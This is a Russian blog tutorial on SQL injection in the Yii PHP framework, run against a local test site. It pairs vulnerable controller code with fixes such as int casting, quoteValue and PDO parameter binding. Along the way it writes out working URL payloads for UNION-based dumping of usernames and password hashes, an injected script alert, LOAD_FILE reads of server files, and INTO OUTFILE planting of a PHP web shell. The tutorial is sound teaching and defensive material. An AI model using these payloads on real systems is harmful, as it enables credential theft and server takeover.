SQL-injection в Yii framework

28.01.2014

SQL inj в условиях yii

Многие слышали что есть такая атака, направленная на подделку sql запроса, при помощи которой можно получить нужные данные, а в некоторых случаях загрузить и скачать файл с сервера. Давайте посмотрим как всё испортить используя средства построения запросов и AR в yii framework, ну и конечно найдем противоядие против этого типа атак.

В этой статье не будет каких-то новых техник проведения этой атаки, просто покажу какой код уязвим, а какой нет, в условиях yii фреймворка.

1. Подготовим площадку

Устанавливаем чистый yii и создаем тестовую БД для него:

CREATE TABLE `user` (
  `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT,
  `username` VARCHAR(50) NOT NULL,
  `password` VARCHAR(50) NOT NULL,
  PRIMARY KEY (`id`)
) COLLATE='utf8_general_ci' ENGINE=InnoDB AUTO_INCREMENT=3; 

CREATE TABLE `news` (
  `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT,
  `title` VARCHAR(50) NOT NULL,
  `url` VARCHAR(50) NOT NULL,
  `text` TEXT NOT NULL,
  `user_id` INT(11) UNSIGNED NOT NULL,
  `created_at` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  INDEX `fk_user_id1` (`user_id`),
  CONSTRAINT `fk_user_id1` FOREIGN KEY (`user_id`) REFERENCES `user` (`id`) ON UPDATE CASCADE ON DELETE CASCADE
) COLLATE='utf8_general_ci' ENGINE=InnoDB AUTO_INCREMENT=4;

Теперь давайте заполним любой тестовой информацией, сгенерируем модели и CRUD.

2. Числовые параметры

2.1 Числовые параметры в DAO

Пускай у нас есть следующий экшен:

public function actionSqlView($id)
{
  $sql = 'SELECT * FROM news WHERE id = '. $id;
  $model = Yii::app()->db->createCommand($sql)->queryRow();
  $this->render('sqlView', array('model' => $model));
}

И на странице http://test.loc/index.php?r=news/sqlview&id=1 выводится название и текст статьи:

Исходная страница

Подставим после 1 знак одинарной кавычки ': http://test.loc/index.php?r=news/sqlview&id=1'

Ошибка 1

А вот и ошибка. Если запрос числовой, то кавычка нам не нужна (т.к. не нужно закрывать открытую строку). Давайте вытащим логин и пароль пользователя из таблицы user с id=1, для этого будем использовать UNION SELECT, но объединение запросов работает только с таблицами с равным количеством полей. Из условий мы знаем что в таблице news 6 полей, а в user 3 поля, но давайте подберем количество сами.

Ещё раз повторюсь, нам нужно посчитать количество полей в таблице news, начинаем: http://test.loc/index.php?r=news/sqlview&id=1 UNION SELECT 1 из УРЛа убрал знаки пробелов %20, что же выдает на это сервер:

Различное количество полей

Используемые выражения имеют разное количество полей, отлично, продолжаем:

http://test.loc/index.php?r=news/sqlview&id=1 UNION SELECT 1,2

http://test.loc/index.php?r=news/sqlview&id=1 UNION SELECT 1,2,3

http://test.loc/index.php?r=news/sqlview&id=1 UNION SELECT 1,2,3,4

http://test.loc/index.php?r=news/sqlview&id=1 UNION SELECT 1,2,3,4,5

http://test.loc/index.php?r=news/sqlview&id=1 UNION SELECT 1,2,3,4,5,6

Последний запрос показал нам первоначальную страницу без ошибок! Отлично, теперь мы уверены что в таблице news 6 полей.

Следующий шаг - нам нужно понять какие поля выводятся на странице. Для этого передадим несуществующий id: http://test.loc/index.php?r=news/sqlview&id=-1 UNION SELECT 1,2,3,4,5,6 Мы передали id=-1 и получили:

Проверяем выводимые поля

Что это дало? Теперь в запросе UNION SELECT мы можем изменять 2 и 4 поле, и как раз в них выводить логин и пароль. Покажу готовый запрос, чтобы стало ясно: http://test.loc/index.php?r=news/sqlview&id=-1 UNION SELECT 1,username,3,password,5,6 FROM user. Получаем:

Получаем данные админа

Пожалуйста логин и md5 пароль первого пользователя, можем уточнить id пользователя: http://test.loc/index.php?r=news/sqlview&id=-1 UNION SELECT 1,username,3,password,5,6 FROM user WHERE id=2. Получаем:

Получаем данные пользователя тест

2.1.1 Исправляем

Первый вариант самый простой - преобразуем $id в целое число (int)$id:

$sql = 'SELECT * FROM news WHERE id = '. (int)$id; 

Второй вариант используем параметры PDO:

$sql = 'SELECT * FROM news WHERE id = :id';
$command = Yii::app()->db->createCommand($sql);
$command->bindParam(':id', $id, PDO::PARAM_INT);
$model = $command->queryRow();

2.2 Числовые параметры в ActiveRecord

Давайте попробуем подставить кавычку в actionView, генерируемый gii по умолчанию: http://test.loc/index.php?r=news/view&id=1'

Ничего не изменилось! А почему? Потому что здесь используется метод AR::findByPk, который в своих недрах вызывает $column->typecast($value), а вот сам метод typecast:

public function typecast($value)
{
  if(gettype($value)===$this->type || $value===null || $value instanceof CDbExpression)
    return $value;

  if($value==='' && $this->allowNull)
    return $this->type==='string' ? '' : null;

  switch($this->type) {
    case 'string': return (string)$value;
    case 'integer': return (integer)$value;
    case 'boolean': return (boolean)$value;
    case 'double':
    default: return $value;
  }
}

Видно что он преобразует, в нашем случае параметр id к integer.

2.2.1 Прочие методы поиска с использованием AR

Давайте проверим что же касаемо других методов: find, findAll, findByAttributes:

$model = News::model()->find(array('condition' => 'id='.$id)); - sql injection
$model = News::model()->findAll(‘id=’.$id); - sql injection
$model = News::model()->findByAttributes(array('id' => $id)); - не получилось с числовыми 
данными. Также идет проверка по типу поля 

2.2.2 Исправляем

Аналогично определяем тип передаваемых данных.

3. Строковые параметры

3.1 Строковые параметры в DAO

Напишем такой экшен:

public function actionUrl($url)
{
  $sql = "SELECT * FROM news WHERE url='".$url."'";
  $model = Yii::app()->db->createCommand($sql)->queryRow();
  $this->render('sqlView', array('model' => $model));
}

Теперь давайте попробуем вызвать такой УРЛ: http://test.loc/index.php?r=news/url&url=test1', получаем

Ошибка строковых параметров

Как видим в конце запроса появилась лишняя кавычка, ок нам осталость только убрать последнюю кавычку.

Вспоминаем что в mysql тоже есть строчные комментарии -- (перед -- и после пробелы). Проверяем как это работает: http://test.loc/index.php?r=news/url&url=test1' ... - как я говорил выше %20 - символ пробела.

По данному УРЛ ошибки уже нет, следовательно наш комментарий закрыл собой всё окончание запроса.

Выполняется обычная выборка:SELECT * FROM news WHERE url='test1' и как раз после 'test1' можно добавить UNION SELECT (не забываем указать УРЛ несуществующей страницы): http://test.loc/index.php?r=news/url&url=test5' UNION SELECT 1,username,3,password,5,6 FROM user --%20

Убрал из УРЛа все символы пробелы, получаем:

Данные пользователя админ

Абсолютно аналогичная ситуация при использовании LIKE:

$sql = "SELECT * FROM news WHERE url LIKE '".$url."'";

3.1.1 Исправляем

Выход только один - нужно фильтровать кавычки. В php можно включить магические кавычки, но по-моему это всё ерунда. Давайте просто использовать Yii::app()->db->quoteValue($str):

$sql = "SELECT * FROM news WHERE url=".Yii::app()->db->quoteValue($url);

Или вариант с PDO:

$sql = "SELECT * FROM news WHERE url=:url";
$command = Yii::app()->db->createCommand($sql);
$command->bindValue(':url', $url, PDO::PARAM_STR);
$model = $command->queryRow();

Что касается LIKE, помимо текста можно использовать специальные символы % и _, поэтому их тоже желательно фильтровать(str_replace), но лично я предпочитаю в этом случае использовать AR совместно с CDbCriteria и методами CDbCriteria::compare() или CDbCriteria::addSearchCondition(), которые сами всё фильтруют.

Не буду рассматривать строковые параметры в AR, всё аналогично числовым.

А вот попробуем выполнить такой УРЛ: http://test.loc/index.php?r=news/url&url=test5' ...

Поясняю - сейчас вместо вывода username на страницу я добавил такую строку ' script alert("SIXSS") /script', вот урл без %20 пробелов: http://test.loc/index.php?r=news/url&url=test5' UNION SELECT 1,'script alert('qwe') /script',3,password,5,6 FROM user --%20

Не могу в блоге писать скрипт в угловых скобках, поэтому убрал их.

Лично у меня хром всё отлично отфильтровал, а вот firefox с радостью показал мне алерт. Это уже немного усложненная атака SiXSS, может быть позже подробнее разберем этот вид атак, если конечно Вам будет интересна эта тема.

4. Поработаем с файлами

4.1 Чтение файлов

Я работаю в linux mint, а не выполнить ли мне следующий УРЛ: http://test.loc/index.php?r=news/url&url=test5' .... Получаем:

Чтение файлов mysql

Выше я использовал метод mysql LOAD_FILE(‘filename’)

4.2 Запись файлов

А давайтека попробуем следующий урл: http://test.loc/index.php?r=news/url&url=test5' ...

и теперь с пробелами: http://test.loc/index.php?r=news/url&url=test5' UNION SELECT 1,username,3,'',5,6 FROM user INTO OUTFILE '/home/yuriy/www/test.loc/assets/1.php' --%20

Да чтоже это?! - да это же веб шелл. Оговорюсь сразу - я конечно знал путь до директории assets, на которую были установлены права 777. Посмотрим что получилось, перейдем по урлу: http://test.loc/assets/

Листинг файлов папки assets

Теперь поидее можно выполнить php код из строки урла: http://test.loc/assets/1.php?e='echo%20%22qwe%22;', но лично у меня не работает функция eval.

5. Заключение

При работе с БД нужно использовать только 1 правило - фильтруем входящие параметры. И проблемы отпадут сами.

Для понимания основ sql injection этой информации должно быть достаточно, желающие углубить свои знания могут погуглить, информации море.

Итак, соберем полезные методы в кучу:

  • Для числовых параметро: (int) $_GET[‘id’],
  • Для символьных: Yii::app()->db->quoteValue($_GET[‘str’]),
  • Используем PDO
  • Для ActiveRecord и запросов с LIKE используем CDbCriteria::compare() и CDbCriteria::addSearchCondition()

А так же пару ссылок:

Также нужно понимать что параметры могут приходить не только их УРЛа, но и из форм, поэтому филтруем и их.

На этом всё, комментируйте пожалуйста, хочу ещё рассмотреть пару видов атак - как вы на это смотрите?

blog comments powered by Disqus
Наверх